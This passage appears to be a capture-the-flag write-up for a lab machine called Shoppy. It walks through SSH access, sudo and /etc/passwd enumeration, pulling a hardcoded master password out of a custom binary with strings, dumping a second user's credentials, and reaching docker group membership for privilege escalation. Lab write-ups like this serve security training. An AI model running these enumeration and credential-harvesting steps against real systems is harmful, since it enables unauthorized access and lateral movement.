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ssh [email protected]
[email protected]'s password: 
Linux shoppy 5.10.0-18-amd64 #1 SMP Debian 5.10.140-1 (2022-09-02) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
jaeger@shoppy:~$ whoami
jaeger
jaeger@shoppy:~$ uname -a
Linux shoppy 5.10.0-18-amd64 #1 SMP Debian 5.10.140-1 (2022-09-02) x86_64 GNU/Linux
jaeger@shoppy:~$ id
uid=1000(jaeger) gid=1000(jaeger) groups=1000(jaeger)
jaeger@shoppy:~$ sudo -l
[sudo] password for jaeger: 

Sorry, try again.
[sudo] password for jaeger: 
Sorry, try again.
[sudo] password for jaeger: 
Matching Defaults entries for jaeger on shoppy:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User jaeger may run the following commands on shoppy:
    (deploy) /home/deploy/password-manager

jaeger@shoppy:/$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-network:x:101:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:102:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
tss:x:103:109:TPM software stack,,,:/var/lib/tpm:/bin/false
messagebus:x:104:110::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:105:111:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
usbmux:x:106:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
rtkit:x:107:115:RealtimeKit,,,:/proc:/usr/sbin/nologin
sshd:x:108:65534::/run/sshd:/usr/sbin/nologin
dnsmasq:x:109:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
speech-dispatcher:x:111:29:Speech Dispatcher,,,:/run/speech-dispatcher:/bin/false
pulse:x:112:118:PulseAudio daemon,,,:/run/pulse:/usr/sbin/nologin
saned:x:113:121::/var/lib/saned:/usr/sbin/nologin
colord:x:114:122:colord colour management daemon,,,:/var/lib/colord:/usr/sbin/nologin
geoclue:x:115:123::/var/lib/geoclue:/usr/sbin/nologin
Debian-gdm:x:116:124:Gnome Display Manager:/var/lib/gdm3:/bin/false
jaeger:x:1000:1000:jaeger,,,:/home/jaeger:/bin/bash
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
nginx:x:117:125:nginx user,,,:/nonexistent:/bin/false
mongodb:x:118:65534::/home/mongodb:/usr/sbin/nologin
deploy:x:1001:1001::/home/deploy:/bin/sh
postgres:x:119:127:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash
mattermost:x:998:997::/home/mattermost:/bin/sh

There is a user named deploy, and we can run password-manager as deploy.

jaeger@shoppy:/home/deploy$ ls -la
total 52
drwxr-xr-x 3 deploy deploy  4096 Jul 23  2022 .
drwxr-xr-x 4 root   root    4096 Jul 22  2022 ..
lrwxrwxrwx 1 deploy deploy     9 Jul 22  2022 .bash_history -> /dev/null
-rw-r--r-- 1 deploy deploy   220 Mar 27  2022 .bash_logout
-rw-r--r-- 1 deploy deploy  3526 Mar 27  2022 .bashrc
-rw------- 1 deploy deploy    56 Jul 22  2022 creds.txt
lrwxrwxrwx 1 deploy deploy     9 Jul 23  2022 .dbshell -> /dev/null
drwx------ 3 deploy deploy  4096 Jul 23  2022 .gnupg
-rwxr--r-- 1 deploy deploy 18440 Jul 22  2022 password-manager
-rw------- 1 deploy deploy   739 Feb  1  2022 password-manager.cpp
-rw-r--r-- 1 deploy deploy   807 Mar 27  2022 .profile

I tried running it:

jaeger@shoppy:/home/deploy$ sudo -u deploy /home/deploy/password-manager
Welcome to Josh password manager!
Please enter your master password: Sh0ppyBest@pp!
Access denied! This incident will be reported !
jaeger@shoppy:/home/deploy$ sudo -u deploy /home/deploy/password-manager
Welcome to Josh password manager!
Please enter your master password: remembermethisway
Access denied! This incident will be reported !

Its a custom built password manager as the source code is here and its also has the creators name.

We cannot read the source code unfortunately. Doing strings on the password-manager

Welcome to Josh password manager!
Please enter your master password: 
Access granted! Here is creds !
cat /home/deploy/creds.txt
Access denied! This incident will be reported !

We see that the creds are saved in creds.txt.

Running strings again changing the endianness

jaeger@shoppy:/home/deploy$ strings -e l password-manager
Sample

We see the string Sample. Using that we are able to read the creds.txt.

Every time we have access to custom binaries like this its a good idea to run it with Ghidra to see exactly whats going on under the hood.

jaeger@shoppy:/home/deploy$ sudo -u deploy ./password-manager
[sudo] password for jaeger: 
Welcome to Josh password manager!
Please enter your master password: Sample
Access granted! Here is creds !
Deploy Creds :
username: deploy
password: Deploying@pp!

Lateral Movement as deploy

So now we got another pair of credentials: deploy:Deploying@pp!

jaeger@shoppy:/home/deploy$ su deploy
Password: 
$ whoami
deploy
$ bash
deploy@shoppy:~$

deploy@shoppy:~$ id
uid=1001(deploy) gid=1001(deploy) groups=1001(deploy),998(docker)

We know we are part of the docker group. So rest was easy. Explanation.